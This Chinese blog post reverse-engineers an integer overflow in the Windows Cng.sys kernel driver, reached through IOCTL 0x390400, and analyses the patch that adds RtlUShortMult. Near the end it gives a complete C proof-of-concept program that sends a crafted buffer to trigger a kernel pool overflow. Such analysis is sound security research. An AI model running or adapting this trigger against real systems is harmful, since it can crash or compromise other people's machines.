文章写了很久今天才发现一直是草稿状态。。。。
----------------------------------分割线---------------------------------------
漏洞逆向分析
17087是一个位于Cng.sys内核中的一个整形溢出漏洞,因为整形溢出导致内存申请大小不足,导致内存溢出,此内核主要用于各种加密算法以及其Key的管理,此内核暴露了大量的ioctl code供应用层程序调用。
先使用windbg查看内核发生溢出后的函数调用栈
去掉nt!剩下的cng!便是漏洞触发时的函数调用顺序,自下而上
,找到产生溢出的函数
用我写了一半的fuzz工具(一直划水,开发进度缓慢目前大部分功能还没写出来,也就只能做做ioctl code探测了…)探测一下哪些ioctl可用,这些ioctl code大致从0x390000开始到0x390400结束,除了0x390073的错误码看不出来是什么问题外,其他的大致都是参数错误,0x390400是输入缓冲区过小
以上大致为应用层可用的ioctl code,17087出现在0x390400ioctl code处理中
先来从DriverEntry找找分发函数
直接进去
在分析inbuff与outbuff时会有点问题,那就是这两个都是从IRP结构体中的一个共用体中取值的,所以ida默认逆出来的代码实际上应该是有误的,需要手动选择共用体成员
在CngDispatch函数中inbuff默认应该是这样取值的
去微软查官方文档会发现masterirp应该是
然而这种情况在此代码的前后逻辑中似乎并不合理,再观察AssociatedIrp共用体会发现systembuffer
systembuffer通常会用于拷贝存放应用层传来的数据,大致推断这里逻辑上应该是取systembuffer,然后再来看outbuff
如果不满足上面条件则
这里不太好推断,但是结合最上面的if就不难了
这个宏用来获取请求的方式根据上面那个判断如果等于2就从mdladdress中获取否则从masterirp(实际上是systembuffer)中获取,然后再来看看
而2正好是METHOD_OUT_DIRECT的值,而0x390400&3的值刚好是0也就是METHOD_BUFFERED
现在大概就能分析出这一段的逻辑了
首先通过ioctl code获取请求方式如果是METHOD_OUT_DIRECT就从mdladdress获取outbuff,从systembuffer中获取inbuff,否则就从systembuffer中同时获取inbuff与outbuff,然后将所需值传入CngDeviceControl函数
进入CngDeviceControl函数会先进行ioctl code选择判断,我们直接找到0x390400
当然这些变量参数名不会自动变成这样,需要手动分析然后再改名,这里我们再直接进入ConfigIoHandler_Safeguarded函数
这里v7等于outbuff_size,这里会判断输出缓冲区是否大于等于8,如果大于等于8,则会申请两块大小与inbuff相同的内存
然后将v6的数据移动到内存块1中,v6实际上就是inbuff
第二块内存全部初始化为0,然后进入IoUnpack_SG_ParamBlock_Header函数
这里v17等于inbuff_size,flags是一个未初始化的unsigned int 型变量,v12还是指向第二块内存
这里前半部分主要是对一些指针做一些检查
需要注意的地方
因为这里使用类型转换将inbuff_size_buff转换成了dword类型,所以这里会将inbuff的第四个字节开始的四个字节数据存入flags里
后半部分的两个if作用差不多,在经过一系列指针检查后,会将第二块内存的第8个字节处置为-1
然后跳出,回到ConfigIoHandler_Safeguarded函数
然后会对IoUnpack_SG_ParamBlock_Header函数返回值进行判断,如果不为0就报错,否则之后会转入ConfigFunctionIoHandler函数,参数v18与v5分别是
v7等于outbuffsize
v5等于outbuff
然后进入ConfigFunctionIoHandler函数
这里会对flags也就是inbuff的第四个字节处开始的四个字节数据值进行判断,也就是说inbuff数据的第四个字节处开始的一个dword型数据值右移后必须要等于0/1/2
进入其中一个函数后,要注意
这里将flags的值转换成了__int16,16位也就相当于一个unsigned short类型的值,也就是说原本的高十六位会被截断,只保留低16位。
进入ConfigurationFuctionIoHandler函数
前三个参数已经声明出来了,后三个参数需要利用第三个参数来进行指针访问,在这里用了va_list那一系列函数来获取参数4、5、6
之后会进入IoUnpack_SG_Configuration_ParamBlock函数
如果参数15等于NULL则执行以下,这些函数处理逻辑都类似,都是对inbuff进行一些检查
后面还有更多的if和while看的人眼花缭乱,主要是对申请到的第二块内存mem2的指定偏移字节处的连续4个字节进行检查并且将其内存置为-1,分别是8-12字节,24-28字节,56-60字节,80-84字节,如果检查无误,就跳转回这一部分·
进入IoUnpack_SG_Buffer函数
先判断inbuff+偏移处地址是否可用,获取到偏移量后再判断mem2内存是否为空,然后对mem2的内存边界进行检查(&v9[a5]应该是a5+v9),最后一个if应该是在对0x60偏移处进行内存检查,然后循环8次,将0x58-0x60八个字节置为-1,然后跳转至lable_10。
这里先要用inbuff+58处的数据加上inbuff的基址,来判断此地址是否为空,如果为空就返回0
如何会进行一系列内存检查
这里逻辑比较绕脑,他会先进行一次内存检查,然后减去inbuff基址再重新获取到inbuff+0x58处的数据。然后判断mem2是否为空,不为空则向下执行。然后在对mem2进行差不多的内存检查,然后会将inbuff+0x50处的数据与0x58处的数据和mem2基址相加,然后进行判断,由于mem2的大小与inbuff的大小相同,所以inbuff的字节大小应该为inbuff[0x50]+inbuff[0x58]
这里的v8等于inbuff+0x50处值,所以当检查无误后便开始循环。
还要看看IoUnpack_SG_SzString函数,此函数也会对内存进行与上面类似的检查,但它还会将inbuff的基址与inbuff+偏移中的值再写回inbuff+偏移中去
假设inbuff+0x10处的值为0x100,那此函数处理内存检查外,还会经0x100与inbuff的基址相加,再写回inbuff+0x10处
这里将inbuff指定偏移内存的值赋值给函数参数,这里要注意每次赋值是8个字节,回到ConfigurationFunctionIoHandler函数,总结这一块的大致功能就是检查inbuff与mem2的内存,并将inbuff中指定偏移位置的数据拷贝给指定的变量,如果函数返回非0说明有错误
然后转到v5==0x400的位置,
BCryptSetContextFunctionProperty函数中,首先使用一个if进行判断
然后会再用一个判断检查inbuff偏移地址0x50与0x58处
然后会运行到CfgReg_Acquire函数
此函数内将会对几个注册表键值进行读取验证
这里对System\CurrentControlSet\Control\Cryptography\Configuration\Local进行验证
这里对System\CurrentControlSet\Control\Cryptography\Configuration进行验证
还要注意如果inbuff+8处值为2,那就对System\CurrentControlSet\Control\Cryptography\Configuration\Domain进行检查验证
然后会初始化三个字符串
sourceString指向inbuff+0x10处
v53指向inbuff+0x20处
然后会进入CfgAdtReportFunctionPropertyOperation函数
v39的低16位为inbuff+0x50处值,v7等于inbuff+0x18,进去后
v26为inbuff+0x50处数据,然后还会对参数进行一系列检查,最后进入CfgAdtpFormatPropertyBlock函数
v8等于inbuff+0x58处数据,v26等于inbuff+0x50处数据
注意这里a2数据类型只有16位,两个字节
这里再申请内存时乘以6会出现上溢越乘越小的情况
这个循环会对刚刚申请的内存进行读写处理,v11是循环次数等于inbuff+0x50处数据,当0x50处数据乘以6大于0xffff时,漏洞就会触发。
poc:
#include <stdio.h>
#include <windows.h>
int main() {
HANDLE hCng = CreateFileA("\\\\.\\GLOBALROOT\\Device\\Cng",
GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hCng == NULL) {
return 1;
}
//
CONST DWORD DataBufferSize = 0xFFFF;
CONST DWORD IoctlSize = 0x1000 + DataBufferSize;
BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);
RtlZeroMemory(IoctlData, IoctlSize);
*(DWORD*)&IoctlData[0x00] = 0x1A2B3C4D;
*(DWORD*)&IoctlData[0x04] = 0x10400;
*(DWORD*)&IoctlData[0x08] = 1;
*(ULONGLONG*)&IoctlData[0x10] = 0x100;
*(DWORD*)&IoctlData[0x18] = 6;
*(ULONGLONG*)&IoctlData[0x20] = 0x200;
*(ULONGLONG*)&IoctlData[0x28] = 0x300;
*(ULONGLONG*)&IoctlData[0x30] = 0x400;
*(DWORD*)&IoctlData[0x38] = 0;
*(ULONGLONG*)&IoctlData[0x40] = 0x500;
*(ULONGLONG*)&IoctlData[0x48] = 0x600;
*(DWORD*)&IoctlData[0x50] = DataBufferSize; // OVERFLOW
*(ULONGLONG*)&IoctlData[0x58] = 0x1000;
*(ULONGLONG*)&IoctlData[0x60] = 0;
RtlCopyMemory(&IoctlData[0x100], L"123456", 0x12);
RtlCopyMemory(&IoctlData[0x200], L"abcdef", 0x12);
RtlCopyMemory(&IoctlData[0x400], L"ghijkl", 0x12);
ULONG_PTR OutputBuffer = 0;
DWORD BytesReturned;
BOOL Status = DeviceIoControl(
hCng,
0x390400,
IoctlData,
IoctlSize,
&OutputBuffer,
sizeof(OutputBuffer),
&BytesReturned,
NULL
);
HeapFree(GetProcessHeap(), 0, IoctlData);
CloseHandle(hCng);
return 0;
}
补丁逆向分析
直接定位到漏洞函数
比起原来的漏洞函数,多了RtlUShortMult函数,它会将inbuff+0x50处数据进行长度检查,如果先将inbuff+0x50*6的结果放入一个32位int型变量中,如果大于0xffff就返回-1,代表检查失败,v8=-1所以函数会直接退出不进行内存申请以及其他代码。